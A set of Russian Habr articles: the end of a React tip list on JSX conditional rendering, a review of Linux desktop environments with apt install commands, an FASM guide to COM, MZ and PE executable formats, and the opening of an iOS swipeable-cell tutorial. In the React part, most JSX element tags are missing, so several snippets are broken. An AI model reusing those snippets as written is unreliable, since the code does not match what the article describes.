Как это решить? У меня два варианта. Приведите выражение к булевому типу явно. Тогда значение выражения будет `false`, а не `0`. А значение `false` не будет отображено:
```
gallery.length > 0 && jsx
// or
!!gallery.length && jsx
// or
Boolean(gallery.length) && jsx
```
Есть еще одно решение, замените `&&` на тернарный оператор, чтобы явно определить значение в случае `false`. Работает отлично:
```
{gallery.length ? : null}
```
### Следите за приоритетом
*And* (`&&`) имеет больший приоритет, чем ИЛИ (`||`) — так работает [булева алгебра](https://en.wikipedia.org/wiki/Boolean_algebra). Но, еще это значит, что вы должны быть очень осторожны с `JSX` условиями, которые содержат `||`. Например, вы хотите отобразить ошибку доступа для анонимных пользователей или пользователей, которым вы ограничили доступ:
```
user.anonymous || user.restricted &&
```
...и это фиаско! Код выше, на самом деле, такой же как:
```
user.anonymous || (user.restricted && )
```
А это не то, что вы хотели. Для анонимных пользователей у вас будет `true || ...whatever...`, что в результате даст `true`. Потому что `JavaScript` знает, что выражение OR будет `true` просто проанализировав левую часть и [пропускает](https://stackoverflow.com/questions/12554578/does-javascript-have-short-circuit-evaluation) остальное. `React` не отображает `true`, а даже если бы и отображал, `true` это не сообщение об ошибке, которое вы ожидали.
Возьмите за правило — как только вы видите `OR` берите выражение в скобки:
```
{(user.anonymous || user.restricted) && }
```
Или более хитрый вариант, используйте тернарный оператор внутри условия:
```
{user.registered ? user.restricted : user.rateLimited &&
}
```
В этом случае скобки не нужны. Но лучше избегать тернарных операторов внутри условий, потому что такие выражения выглядят сложно. Признайтесь, сложно понять, что оно делает, просто взглянув на это выражение.
### Не будьте заложниками тернарных операторов
Тернарный оператор это отличное решение для того, чтобы переключаться между **двумя** элементами `JSX`. Как только элементов становится больше, отсутствие `else if ()` превращает вашу логику в кашу достаточно быстро:
```
{isEmoji
?
: isCoupon
?
: isLoaded && }
```
Любое дополнительное условие внутри тернарного оператора, будь то еще один тернарный оператор или `&&`, это красный флаг. Иногда, несколько `&&` блоков выглядят лучше, вы платите за это повторением некоторых условий:
```
{isEmoji && }
{isCoupon && }
{!isEmoji && !isCoupon && isLoaded && }
```
В других случаях, старый добрый `if/else` это лучшее решение. Конечно, вы не можете поместить это в `JSX`, но вы можете вынести это в отдельную функцию:
```
const getButton = () => {
if (isEmoji) return ;
if (isCoupon) return ;
return isLoaded ? : null;
};
```
### Не стройте свои условия на JSX элементах
Что если я скажу, что `React` элементы, которые передаются через `pros` не стоит использовать как условия? Давайте попробуем обернуть `children` в `div` **только**, если `children` присутствует:
```
const Wrap = (props) => {
if (!props.children) return null;
return {props.children}
};
```
Я бы хотел, чтобы `Wrap` отрендерил `null`, когда контент, который нужно оборачивать, отсутствует. Но `React` работает подругому:
* `props.children` может быть пустым массивом, например, `{[].map(e => )}`
* `children.length` тоже не подходит: `children` также может быть одним элементом, а не массивом ()
* `React.Children.count(props.children)` поддерживает и один и несколько элементов как `children`. Этот метод думает, что `{false && 'hi'}{false && 'there'}` содержит 2 элемента, хотя в действительности там ни одного.
* Теперь попробуем: `React.Children.toArray(props.children)` [удаляет недействительные элементы](https://reactjs.org/docs/react-api.html#reactchildrentoarray), такие как `false`. К сожалению, вы все равно получите пустой фрагмент: `<>`.
* И последний гвоздь в крышку гроба, что если мы переместим условное отображение в компонент: с `Div = (p) => p.hide ? null :` ? Мы никогда не можем знать, пустой ли он во время рендера `Wrap`, потому что `React` будет отображать дочерний `Div` после родительского элемента. А дочерний элемент, у которого есть состояние, может быть повторно отрендерен независимо от родительского элемента.
Есть лишь один способ изменить что-то если интерполированый `JSX` пустой, посмотрите на `:empty` [псведокласс в CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/:empty).
### Remount или update?
`JSX` который написан с использованием отдельных тернарных операторов выглядит как полностью независимый друг от друга код. Например:
```
{hasItem ? : }
```
Что произойдет, если `hasItems` изменится? Не знаю как вы, а я предположу, что демонтируется (*unmounts*), а потом примонтируется (*mounts*), потому, что я написал 2 отдельных `JSX` тэга. `React`, в свою очередь, не знает о том что я там написал, все что он видит это элемент `Item` на одном и том же месте. Так что он сохраняет уже смонтированную сущность и обновляет ее свойства (пример в [sandbox](https://codesandbox.io/s/still-cherry-o123c?file=/src/App.js)). Код, который вы видите выше, эквивалентен такому: .
> Когда ветка содержит разные компоненты, как в `{hasItem ? : }`, `React` делает remount, потому что `Item1` не может быть обновлена, чтобы стать `Item2`.
>
>
Пример выше может сработать неожиданно. Это работает, пока вы правильно обрабатываете обновление элементов. Это даже немного лучше, чем перемонтирование (*remounting*). Но с неуправляемыми (*uncontrolled*) `input` вы можете попасть в беду:
```
{mode === 'name'
?
: }
```
Здесь, если вы введете что-то в *name* `input`, а потом переключите `mode`, ваше имя, неожиданно, появится в *phone* `input`. Хотите проверить? Вот [sandbox](https://codesandbox.io/s/still-cherry-o123c?file=/src/App.js). Это может принести еще больше хаоса, если мы говорим о сложных механиках обновления (*update*), которые основываются на предыдущем состоянии.
Один из способов сделать это правильно это использовать свойство `key`. Обычно мы используем его для рендеринга списков, но, в принципе, это подсказка для `React` о том, что элемент уникальный. А вот элементы с одним и тем же `key` для `React` могут выглядеть одинаково.
```
// remounts on change
{mode === 'name'
?
: }
```
Другой вариант — заменить тернарный оператор на `&&` блоки. Когда `key` отсутствует, `React` смотрит на индекс элемента в массиве `children`. Так что если мы поместим разные элементы на разные позции, это сработает так же хорошо, как и явное определение ключа:
```
{mode === 'name' && }
{mode !== 'name' && }
```
И наоборот, если **разные** свойства элемента зависят от условия, то вы можете разделить этот элемент на два отдельных `JSX` тэга. Читать код так тоже будет проще, а недостатков никаких.
```
// messy
{loading ? : 'submit'}
// maybe try:
{loading
?
: submit}
// or even
{loading && }
{!loading && submit}
// ^^ bonus: _move_ the element around the markup, no remount
```
### Итого
Резюмируем. Вот лучшие советы, о том как делать условия в `JSX` как про:
* `{number && }` отрендерит `0` а не ничего. Лучше делать `{number > 0 && }`.
* Не забывайте про скобки вокруг *или* условий: `{(cond1 || cond2) && }`
* Тернарные операторы не очень подходят, если условий больше 2. Используйте `&&` блоки для каждого условия. Или вынесите логику в `if / else`
* В не можете точно определить есть ли что-то в `props.children`. Попробуйте использовать `CSS` `:empty`.
* `{condition ? : }` не приведет к тому, что `Tag` будет еще перемонтирован (*remount*). Используйте уникальный `key` или разделите код на `&&` блоки.
#### А еще...
Здесь говорю опять я, Павел. В конце еще раз приглашу вас в свой Telegram-канал. На канале [Хороший разработчик знает](https://t.me/gooddevknows) я минимум три раза в неделю простым языком рассказываю про свой опыт, хард скиллы и софт скиллы. Я 15+ лет в IT, мне есть чем поделиться. Все это нужно разработчику, чтобы делать свою работу хорошо, работать в удовольствие, быть востребованным на рынке и получать высокую компенсацию.
А для любителей картинок и историй есть 🌄 [Instagram](https://instagram.com/gooddevknows).
Спасибо 🤗 | https://habr.com/ru/post/648303/ | null | ru | null |
# Обзор графических оболочек Linux
Наверняка вы хоть раз сталкивались с многообразием графических оболочек для ОС Linux. В этом присутствует частичка красоты этой системы — в множестве вариантов взаимодействия с этой ОС. Без сомнений — это универсальный инструмент.
Если вы уже используете Linux или только начинаете знакомство с ним, вам наверняка не захочется сидеть и перебирать все существующие оболочки, чтобы понять, подойдёт одна из них именно вам или нет. Потому мы сделали краткий обзор самых популярных рабочих сред вместе с ответами на часто задаваемые вопросы.
> Здесь и далее будет субъективное мнение автора. Как по поводу выбора расширений, так и по поводу внешнего вида рабочих сред.
### Краткое содержание:
* [GNOME](#1)
* [GNOME Flashback](#2)
* [KDE Plasma](#3)
* [XFCE](#4)
* [LXDE](#5)
* [Cinnamon](#6)
* [Pantheon](#7)
* [MATE](#8)
* [Budgie](#9)
* [Qtile](#10)
* [Enlightenment](#11)
* [i3wm](#12)
* [Частые вопросы](#13)
GNOME и KDE положили историческое начало для обширного мира графических сред ОС Linux. KDE стала одной из первых расширенных оболочек рабочего стола и впервые вышла в свет 12 июля 1998 года. Следом за ней была разработана и альтернатива — GNOME, дата выхода 3 марта 1999 года.
Конечно, сразу стоит отметить, что эти оболочки совершенно разные по своей изначально заложенной сути. GNOME — символ аскетизма, KDE же — более простая, однако очень красивая и функциональная. В последнее время им ещё и наступает на пятки — XFCE. Но давайте обо всех по порядку.
1. GNOME
--------
[GNOME](https://www.gnome.org/) (GNU Network Object Model Environment) — одна из популярных сред рабочего стола в мире Linux. Она постоянно поддерживается и довольно легко интегрируется с аппаратным и программным обеспечением. Стоит отметить тот факт, что [Canonical](https://ru.wikipedia.org/wiki/Canonical) даже приняла GNOME для ОС Ubuntu в качестве среды рабочего стола по умолчанию. Однако надо помнить, что GNOME — не самый простой инструмент. Дизайн довольно сильно отличается от привычного виндового интерфейса, и для начального взаимодействия и простоты использования, вам придётся поколдовать с существующими расширениями. Например, если вам необходима панель задач, как в винде, для приложений или переключения окон, то вы можете попробовать для себя Dash to Panel. Нет смысла дублировать тут туториал по установке, лучше воспользоваться [инструкцией разработчика](https://github.com/home-sweet-gnome/dash-to-panel). Но помните, что с большим набором расширений оболочка начинает заметно подъедать системные ресурсы слабомощных машинок.
Как нам говорит сайт [www.gnome.org](https://www.gnome.org/getting-gnome/):
> *Ubuntu 20.04 LTS уже включает в себя GNOME 3.36 с небольшими изменениями, а Ubuntu 21.10 включает и GNOME 40, также с некоторыми изменениями. Если вы устанавливаете gnome-session, то можете запустить чистый GNOME с экрана входа в систему.*
2. GNOME Flashback (Ubuntu Classic/панель GNOME)
------------------------------------------------
[GNOME Flashback](https://wiki.archlinux.org/title/GNOME/Flashback) — это базовая и классическая среда рабочего стола, которая даёт возможность ностальгировать о чистом виде системы Ubuntu. Быстрая и лёгкая, основана на ранней версии Ubuntu. Для меня это был самый первый графический интерфейс Ubuntu, который я знаю ещё с её девичества, Ubuntu 8.04. Поэтому, когда я увидел этот интерфейс, то пустил скупую слезу ностальгии.
**Краткая инструкция по установке:**
Команда установки для последней версии Ubuntu:
```
sudo apt-get install gnome-session-flashback
```
Для Ubuntu 12.04-13.10:
```
sudo apt-get install gnome-panel
```
или
```
sudo apt-get install gnome-session-fallback
```
3. KDE Plasma
-------------
После GNOME — оболочка [KDE](https://kde.org/) (K Desktop Environment) Plasma является наиболее используемой и настраиваемой средой рабочего стола для ОС Linux. Эта оболочка предлагает о-о-очень широкий спектр опций. Например, если вы захотите сделать что-то windows- или macos-подобное, то при должных усилиях — у вас всё получится :).
Если вам нравится возиться в настройках системы и вы готовы приложить некоторые усилия, то Plasma это то, что вам нужно. Её можно назвать «швейцарским ножом» в мире рабочих столов Linux.
В отличие от Ubuntu Unity 3D, для бесперебойной работы требуется аппаратное 3d ускорение.
**Краткая инструкция по установке:**
Перед тем как переходить непосредственно к установке, необходимо выполнить обновление списков пакетов и системы, чтобы установить самую новую версию KDE и избежать возможных ошибок. Для обновления выполните:
```
sudo apt full-upgrade
```
Этот процесс может пойти быстро, а может, и долго, в зависимости от того, как давно вы обновляли свою систему, и от скорости интернета. После завершения обновления надо установить утилиту tasksel:
```
sudo apt install tasksel
```
Теперь можно установить KDE:
```
sudo tasksel install kubuntu-desktop
```
```
sudo tasksel install kubuntu-full
```
Во время установки системе нужно будет настроить менеджер входа в систему. Нажмите ОК, а в следующем окне выберите Gdm, чтобы использовать стандартный менеджер входа Ubuntu.
Пакетный менеджер может выдать ещё несколько окон с предупреждениями, в них можно нажимать Ок. Остаётся только перезагрузить компьютер и наслаждаться только что установленной KDE Plasma. После перезагрузки вы сможете выбрать оболочку входа. Для этого нажмите на шестерёнку внизу экрана и вуаля, наслаждайтесь.
4. XFCE
-------
Если у вас есть старая или не очень мощная машина, например, старый нетбук, то [XFCE](https://www.xfce.org/) станет отличным выбором. Он довольно лёгкий и обеспечивает баланс между лёгкими рабочими столами, такими как [LXDE](https://www.maketecheasier.com/lxde-review/) или [LXQt](https://www.maketecheasier.com/lxqt-review/), и полноценными, такими как KDE и GNOME, про которые написано выше. Оболочка малотребовательна к ресурсам компьютера и при этом на борту имеет много вариантов настройки. Всё это делает XFCE одной из самых чистых и простых в использовании, особенно когда требуется нересурсоёмкая среда без аппаратного ускорения.
Мой опыт использования этой оболочки был исключительно положительным. Пользовался около года, пока жёсткий диск моего компьютера не отправился к праотцам. После чего начал искать другую идеальную среду.
**Краткая инструкция по установке:**
Для установки введите:
```
sudo apt-get install xubuntu-desktop
```
Чтобы установить дополнительные приложения и расширения, используйте следующую команду:
```
sudo apt-get install xfce4-goodies
```
Чтобы установить Xfce 4.12 на Ubuntu 14.04 и 15.04:
```
sudo add-apt-repository ppa:xubuntu-dev/xfce-4.12
```
```
sudo apt-get update
```
```
sudo apt-get dist-upgrade
```
```
sudo apt-get install xfce4
```
5. LXDE (облегчённая среда рабочего стола X11)
----------------------------------------------
Раз я уже упомянул вариант оболочки для установки на маломощные машинки, то обязательно стоит сказать и об [LXDE](http://www.lxde.org/). Это невероятно лёгкая среда рабочего стола Linux, которая ориентирована на высокую производительность, при этом требует ещё меньше ресурсов, чем XFCE. Для её работы не требуется никакого аппаратного ускорения. Очень быстрая, гибко настраиваемая и не занимает много места в оперативной памяти.
Я использовал эту оболочку на старом железе, и всё прекрасно работало без каких-либо тормозов. Исключительно порадовала простота и лёгкость настройки.
**Краткая инструкция по установке:**
```
sudo apt-get update
```
```
sudo apt-get install lxde
```
6. Cinnamon
-----------
[Cinnamon](https://projects.linuxmint.com/cinnamon/) — это, конечно, одна из самых популярных сред рабочего стола. По умолчанию поставляется только в [Linux Mint](https://www.ubuntupit.com/top-10-best-things-installing-linux-mint-18-3-sylvia/).
Эта среда рабочего стола является ответвлением оболочки GNOME, так что тут стоит вспомнить требование про аппаратное 3D-ускорение. Хотя она и может работать с программным рендерингом, но будет сильно тормозить. Cinnamon хорошо подойдёт для тех, кто только что перешёл с ОС Windows, поскольку эта оболочка наиболее близка к ней по внешнему виду. Среда бережно относится к пожиранию ресурсов, что делает её идеальным кандидатом для чуть более устаревшей машины, которая уже не тянет винду.
Поскольку я использую Linux Mint каждый день (как дома, так и на работе), могу сказать, что эта оболочка является фаворитом для меня в этой подборке.
**Краткая инструкция по установке:**
Выполните следующую команду, чтобы установить последнюю версию Cinnamon Desktop в Ubuntu.
```
sudo add-apt-repository ppa:embrosyn/cinnamon
```
```
sudo apt-get update
```
```
sudo apt-get install cinnamon
```
7. Pantheon
-----------
[Pantheon](https://wiki.archlinux.org/title/Pantheon) — это лёгкая и модульная среда рабочего стола, которая используется в [elementary OS](https://elementary.io/) в качестве рабочего стола по умолчанию. Графический интерфейс этой оболочки идентичен Apple Mac OS. Его можно установить на любую машину с Ubuntu. Работа с этой средой почти такая же, как в macOS. В ней есть даже больше жестов и имеются функции сенсорной панели.
Pantheon также является одним из самых доступных интерфейсов, которые подходят для дисплеев со сверхвысоким разрешением (HiDPI/Retina), поэтому её стоит рассматривать в качестве рабочего решения для замены macOS. Эта среда автоматически определит разрешение вашего экрана и сделает изображение подходящим для вашего монитора.
**Краткая инструкция по установке:**
Чтобы установить Pantheon на последнюю версию Ubuntu.
```
sudo add-apt-repository ppa:elementary-os/daily
```
```
sudo add-apt-repository ppa:elementary-os/os-patches
```
```
sudo add-apt-repository ppa:elementary-os/testing
```
```
sudo add-apt-repository ppa:mpstark/elementary-tweaks-daily
```
```
sudo apt update
```
```
sudo apt dist-upgrade
```
```
sudo apt install elementary-theme elementary-icon-theme elementary-default-settings elementary-desktop
```
Ubuntu — 12.04 и выше
```
sudo add-apt-repository ppa:elementary-os/daily
```
```
sudo apt-get update
```
```
sudo apt-get install elementary-desktop
```
8. MATE
-------
[Ubuntu MATE](https://ubuntu-mate.org/) — это ещё одна версия GNOME 2. Хорошо помню тот момент, когда вышел GNOME 3, и это вызвало много негодования у меня, а также у других пользователей. И мы начали искать возможные решения, которые были бы такими же удобными и доступными, как старый добрый GNOME 2.
На тот момент это была отличная альтернатива привычному «Гному», и могу сказать, что она оставила у меня хорошие впечатления скоростью работы и удобством использования. Эту оболочку оценят те, кто привык к классическому интерфейсу старых систем.
**Краткая инструкция по установке:**
**Установите рабочий стол MATE на последнюю версию Ubuntu. Выполните следующие команды:**
```
sudo add-apt-repository ppa:ubuntu-mate-dev/xenial-mate
```
```
sudo apt-get update
```
```
sudo apt-get upgrade
```
```
sudo apt-get install mate-dock-applet
```
**Установите рабочий стол MATE на Ubuntu 15.10. Выполните следующие команды:**
```
sudo add-apt-repository ppa:ubuntu-mate-dev/wily-mate
```
```
sudo apt-get update
```
```
sudo apt-get upgrade
```
```
sudo apt-get install mate-dock-applet
```
9. Budgie
---------
[Budgie](https://ubuntubudgie.org/) вполне подойдёт для тех, кому нужен такой же настраиваемый рабочий стол, как в KDE Plasma, но без мороки. Budgie — это обычная рабочая среда, созданная для [ОС Solus](https://ru.wikipedia.org/wiki/Solus_project). Она предоставляет множество настроек, таких как виджеты рабочего стола, красивые темы и значки, режим тёмной темы и расширенные функции панели.
**Краткая инструкция по установке:**
Чтобы установить эту среду рабочего стола, введите следующие команды в терминале:
```
sudo add-apt-repository ppa:budgie-remix/ppa
```
```
sudo apt-get update
```
```
sudo apt-get install budgie-desktop
```
10. Qtile
---------
[Qtile](http://www.qtile.org/) — это тайловый оконный менеджер, который написан только на языке Python. Qtile — это очень простая, маленькая и легко расширяемая среда. Она позволяет легко писать свои собственные раскладки, виджеты, встраиваемые команды. По сути, это оконный менеджер, который написан программистами и исключительно для программистов.
**Краткая инструкция по установке:**
```
sudo apt-add-repository ppa:tycho-s/ppa
```
```
sudo apt-get update
```
```
sudo apt-get install qtile
```
11. Оболочка рабочего стола Enlightenment
-----------------------------------------
[Enlightenment](https://www.enlightenment.org/) Desktop Shell предоставляет потрясающий и эффективный оконный менеджер, основанный на библиотеках Enlightenment Foundation. Он поставляется с полным набором компонентов рабочего стола, таких как файловый менеджер, значки рабочего стола, виджеты и т. д. Enlightenment Desktop Shell охватывает все современные устройства, от небольших мобильных устройств и смартфонов до многоядерных настольных компьютеров и т.д. Вы можете легко установить Enlightenment E22 Desktop в Ubuntu, Linux Mint или любых других дистрибутивах на основе Ubuntu.
**Краткая инструкция по установке:**
```
sudo add-apt-repository ppa:niko2040/e19
```
```
sudo apt-get update
```
```
sudo apt-get install enlightenment terminology
```
12. i3wm
--------
Напоследок хочется рассказать про [i3wm](https://i3wm.org/) — фреймовый оконный менеджер. Компактный, лёгкий и простой в использовании. Его нельзя назвать полноценной средой рабочего стола. Скорее, он необходим для управления окнами экрана и предназначен в первую очередь для настоящих гиков Linux. Простому пользователю он вряд ли может быть интересен.
**Краткая инструкция по установке:**
```
sudo apt update
```
```
sudo apt install i3
```
Несколько часто задаваемых вопросов:
------------------------------------
> Какая, на ваш взгляд, самая лучшая среда для начинающих линукс-пользователей?
Этот вопрос я, пожалуй, слышу чаще всего. Тут всё достаточно просто. Если вы переходите с Windows, смело выбирайте Cinnamon. Для пользователей, которые решили пересесть с MacOS — рекомендую Pantheon. Остальное уже дело вкуса и желания ковыряться в настройках.
---
> Можно ли установить несколько сред рабочих столов?
Да, но одновременно использовать можно только что-то одно. Пожалуйста, помните, что некоторые среды могут не совсем корректно работать на вашем компьютере или даже банально глючить. Например, при установке Budgie поверх Cinnamon в Linux Mint, в связи с тем, что они используют одни и те же файлы для визуальных элементов.
Если вы не очень разбираетесь в установке или не уверены, что всё пройдет хорошо, то лучше сделайте резервную копию вашей системы с помощью, например, rsync.
---
> Надо ли выбирать дистрибутив в зависимости от среды, в которой он поставляется?
Конечно, если вы не хотите мороки, то стоит сразу установить систему, на которой уже имеется приглянувшийся рабочий стол. Например, установка KDE на ванильную Ubuntu будет менее приятной, чем установка Kubuntu (Ubuntu с предварительно интегрированной Plasma). С другой стороны, это совсем не означает, что вы должны ограничиваться конкретным дистрибутивом.
---
> Чем KDE Plasma отличается от Cinnamon?
Возможно, у вас возникнет ощущение, что две эти среды могут выглядеть одинаково, тем не менее они предоставляют совершенно разные наборы приложений.
Разработчики KDE отделили свой рабочий стол от GNOME и с тех пор работают над обеспечением унифицированного опыта на одной платформе.
Cinnamon же вместо того, чтобы полностью отказаться от пакета GNOME, адаптировался к использованию некоторых из них (Gedit, терминал GNOME, системный монитор GNOME и т. д.), обеспечивая при этом совершенно другой визуальный интерфейс. Из-за этого Cinnamon может быть не совсем стилистически единым, так как некоторые из используемых им приложений GNOME не полностью соответствуют общей теме визуализации.
---
**А какие графические оболочки из вышеупомянутых вы уже использовали? Что вам понравилось больше всего? Выбирайте один из вариантов в опросе или пишите в комментариях.**
---
НЛО прилетело и оставило здесь промокод для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**. | https://habr.com/ru/post/677492/ | null | ru | null |
# Форматы файлов для программ на FASM под Windows
При создании программы на ассемблере (для примера будет приведён FASM) из-под ОС Windows возникает вопрос о том, какой выбрать формат файла.
Для определения формата создаваемого исполняемого файла используется директива «format» со следующим за ним идентификатором формата.
Под катом краткое описание COM-программы и EXE-программы форматов MZ и PE с шаблоном программ (в виде традиционного «Hello World!»).
Формат по умолчанию — это простой двоичный файл, он также может быть выбран директивой «format binary», формирующий программы типа .COM.
«use16» и «use32» указывают ассемблеру генерировать 16-битный или 32-битный код, пренебрегая настройкой по умолчанию для выбранного формата вывода. «use64» включает генерирование кода для длинного режима процессоров x86.
Ниже описаны разные форматы вывода со специфичными для них директивами.
##### .COM-программы
Программы типа .com после загрузки в память представляют собой немодифицированное представление программы на машинном языке на диске. Формат .com является одним из простейших форматов исполняемых файлов на архитектуре x86. Размер .com-файла ограничен размером 1 сегмента и равен 64 КБ, все данные должны быть определены в этом же сегменте кода. Когда COM-программа начинает работать, все сегментные регистры содержат адрес префикса программного сегмента (PSP), — 256-байтового (100h) блока, который резервируется операционной системой DOS непосредственно перед COM или EXE программой в памяти. Так как адресация начинается со смещения 100h от начала PSP, то в программе кодируется директива ORG 100h. Директива эта устанавливает относительный адрес для начала выполнения программы. Программный загрузчик использует этот адрес для командного указателя.
Пример простой программы в формате .COM:
```
use16 ;Генерировать 16-битный код
org 100h ;Программа начинается с адреса 100h
mov dx,hello ;В DX адрес строки.
mov ah,9 ;Номер функции DOS.
int 21h ;Обращение к функции DOS.
mov ax,4C00h ;В регистр AH помещаем 4Ch, в AL – 00h.
int 21h ;Завершение программы
;-------------------------------------------------------
hello db 'Hello, world!$'
```
Директива «use 16» указывает на генерирование 16-битного кода. «org 100h» объявляет пропуск 256 байт (адреса 0000h – 00FFh). Указанные адреса зарезервированы под служебные данные (PSP).
Далее следуют команды. В регистр DX помещается адрес строки hello. Затем вызывается функция номер 9 прерывания 21h для вывода строки на экран.
Завершение работы программы осуществляется вызовом функции 4C с параметром того же прерывания 21h.
Строка hello завершается символом ‘$’, который в системе DOS обозначает конец строки.
Следует помнить, что программы типа COM не поддерживаются 64-разрядными ОС Windows. Для запуска таких программ под этими операционными системами следует использовать программу DOSBox, либо воспользоваться форматом PE, рассмотренном ниже.
##### Формат MZ
MZ — стандартный формат 16-битных исполнимых файлов с расширением .EXE для DOS. Назван так по сигнатуре — ASCII-символам MZ (4D 5A) в первых двух байтах.
Пример простой программы с использованием формата MZ:
```
format MZ ;Исполняемый файл DOS EXE (MZ EXE)
entry code_seg:start ;Точка входа в программу
stack 200h ;Размер стека
;--------------------------------------------------------------------
segment data_seg ;Cегмент данных
hello db 'Hello, asmworld!$' ;Строка
;--------------------------------------------------------------------
segment code_seg ;Сегмент кода
start: ;Точка входа в программу
mov ax,data_seg ;Инициализация регистра DS
mov ds,ax
mov ah,09h
mov dx,hello ;Вывод строки
int 21h
mov ax,4C00h
int 21h ;Завершение программы
```
Для создания нужно использовать директиву «format MZ». По умолчанию код для этого формата 16-битный.
«segment» определяет новый сегмент, за ним должна следовать метка, чьим значением будет номер определяемого сегмента. Опционально за этой директивой может следовать «use16» или «use32», чтобы указать разрядность кода в сегменте. Начало сегмента выровнено по параграфу (16 байт). Все метки, определенные далее, будут иметь значения относительно начала этого сегмента. В примере выше объявляются 2 сегмента: «data\_seg» и «code\_seg».
«entry» устанавливает точку входа для формата MZ, за ней должен следовать дальний адрес (имя сегмента, двоеточие и смещение в сегменте) желаемой точки входа. В нашем случае объявлена метка «start».
«stack» устанавливает стек для MZ. За директивой может следовать числовое выражение, указывающее размер стека для автоматического создания, либо дальний адрес начального стекового фрейма, если вы хотите установить стек вручную. Если стек не определен, он будет создан с размером по умолчанию в 4096 байт.
«heap» со следующим за ней значением определяет максимальный размер дополнительного места в параграфах (это место в добавление к стеку и для неопределенных данных). Используйте «heap 0», чтобы всегда отводить только память, которая программе действительно нужна.
Формат MZ, аналогично COM-программам, не поддерживается 64-рязрядными ОС Windows.
##### Формат PE
PE — это сокращение от Portable Executable, т.е. переносимый (универсальный) исполняемый файл. Этот формат появился еще в поздние времена Windows 3.11, но настоящее распространение получил с расцветом Windows 95. Можно сказать, что сейчас на компьютерах с Windows 9x/2K/XP/Vista/7 находится 95% исполняемых (exe, dll, драйверы(sys)) файлов — это PE файлы.
Чтобы выбрать формат PE, нужно использовать директиву «format PE», за ней могут следовать дополнительные настройки формата: «console», «GUI» или оператор «native», чтобы выбрать целевую подсистему (далее может следовать значение с плавающей точкой, указывающее версию подсистемы), «DLL» помечает файл вывода как динамическую связывающую библиотеку. Далее может следовать оператор «at» и числовое выражение, указывающее базу образа PE, и опционально оператор «on» со следующей за ним строкой в кавычках, содержащей имя файла, выбирающей заглушку MZ для PE программы (если указанный файл не в формате MZ, то он трактуется как простой двоичный исполняемый файл и конвертируется в формат MZ). По умолчанию код для этого формата 32-битный.
Пример объявления формата PE со всеми свойствами:
format PE GUI 4.0 DLL at 7000000h on 'stub.exe'
«section» определяет новую секцию, за ней должна следовать строка в кавычках, определяющая имя секции, и далее могут следовать один или больше флагов секций. Возможные флаги такие: «code», «data», «readable», «writeable», «executable», «shareable», «discardable», «notpageable». Начало секции выравнивается по странице (4096 байт).
Пример объявления секции PE:
section '.text' code readable executable
Вместе с флагами также может быть определен один из специальных идентификаторов данных PE, отмечающий всю секцию как специальные данные, возможные идентификаторы: «export», «import», «resource» и «fixups». Если секция помечена для содержания настроек адресов, они генерируются автоматически, и никаких данных определять больше не требуется. Также данные ресурсов могут быть сгенерированы автоматически из файлов ресурсов, этого можно добиться, написав после идентификатора «resourse» оператор «from» и имя файла в кавычках.
Ниже вы можете увидеть примеры секций, содержащих некоторые специальные данные:
section '.reloc' data discardable fixups
section '.rsrc' data readable resource from 'my.res'
«entry» создает точку входа для PE, далее должно следовать значение точки входа.
«stack» устанавливает размер стека для PE, далее должно следовать значение зарезервированного размера стека, опционально может следовать отделенное запятой значение начала стека. Если стек не определен, ему присваивается размер по умолчанию, равный 4096 байт.
«heap» выбирает размер дополнительного места для PE, далее должно следовать значение для зарезервированного для него места, опционально ещё может быть значение его начала, отделенное запятой. Если дополнительное место не определено, оно ставится по умолчанию равным 65536 байт, если не указано его начало, то оно устанавливается равным 0.
«data» начинает определение специальных данных PE, за директивой должен следовать один из идентификаторов данных («export», «import», «resource» или «fixups») или номер записи данных в заголовке PE. Данные должны быть определены на следующих строках и заканчиваться директивой «end data». Если выбрано определение настроек адресов, они генерируются автоматически, и никаких данных определять больше не требуется. То же самое относится к ресурсам, если за идентификатором «resourse» следует оператор «from» и имя файла в кавычках — в этом случае данные берутся из этого файла ресурсов.
Пример простой программы с использованием формата PE:
```
format PE console ;Исполняемый файл Windows EXE
entry start ;Точка входа в программу
include 'win32a.inc'
section '.text' code executable
start:
push hello
call [printf]
push 0
ccall [getchar]
call [ExitProcess]
section '.rdata' data readable
hello db 'Hello World!', 0
section '.idata' data readable import
library kernel32, 'kernel32.dll', \
msvcrt, 'msvcrt.dll'
import kernel32, ExitProcess, 'ExitProcess'
import msvcrt, printf, 'printf', getchar,'_fgetchar'
```
В данном примере для работы с консолью использованы функции WinAPI.
Вот такой получился краткий (надеюсь, для кого-то полезный) обзор использования форматов PE и MZ. За бортом данной статьи оказались ELF и COFF, за что прошу сильно не судить. | https://habr.com/ru/post/257551/ | null | ru | null |
# Как сделать ячейку таблицы сдвигаемой для отображения дополнительных опций в приложениях iOS
*Как переводчик заранее прошу извинения за возможные ошибки в переводе. Буду признателен сообщениям об ошибках для их скорейшего исправления.*
Когда iOS 7 была впервые анонсирована, одним из многих визуальных нововведений, которое особенно заинтересовало меня, был жест swipe-to-delete (смахни чтобы удалить) в приложении Mail. Вы уже давно прекрасно знакомы с этой функцией приложения. После того как проводите по ячейке таблицы, вы видите кнопки корзины, дополнительных опций («Ещё») и пометки письма флагом. При нажатии на кнопку «Ещё» становится активной панель выбора действия, на которой вы можете выбрать одну из опций действия с письмом — Ответить, Пометить флагом и т.д.
Думаю, что это отличный инструмент для манипулирования записями таблицы. Однако, как вы прекрасно знаете что Apple не предоставляет этой возможности для разработчиков в iOS 7. Вы можете только добавить жест для функции удаления записи из таблицы. Остальные опции работы с записью таблицы ограничены стандартным приложением Mail. Понятия не имею почему Apple ограничивает использование такого прекрасного инструмента только своими приложениями. К счастью, некоторые разработчики создали решения (такие как [UITableView-Swipe-for-Options](https://github.com/TeehanLax/UITableViewCell-Swipe-for-Options), [MCSwipeTableViewCell](https://github.com/alikaragoz/MCSwipeTableViewCell)) и сделали их абсолютно бесплатными.
В этом уроке я буду использовать библиотеку [SWTableViewCell](https://github.com/CEWendel/SWTableViewCell). Посмотрим, как она поможет нам реализовать функцию swipe-to-show-options (смахни чтобы увидеть опции) в вашем приложении. SWTableViewCell достаточно проста в использовании и если вы понимаете как работает UITableView, у вас не должно возникнуть проблем с SWTableViewCell. Кроме того, этот компонент поддерживает отображение кнопок опций при свайпе в обе стороны. Вы быстро поймете что это значит.
Итак, давайте приступим и создадим наше демонстрационное приложение.
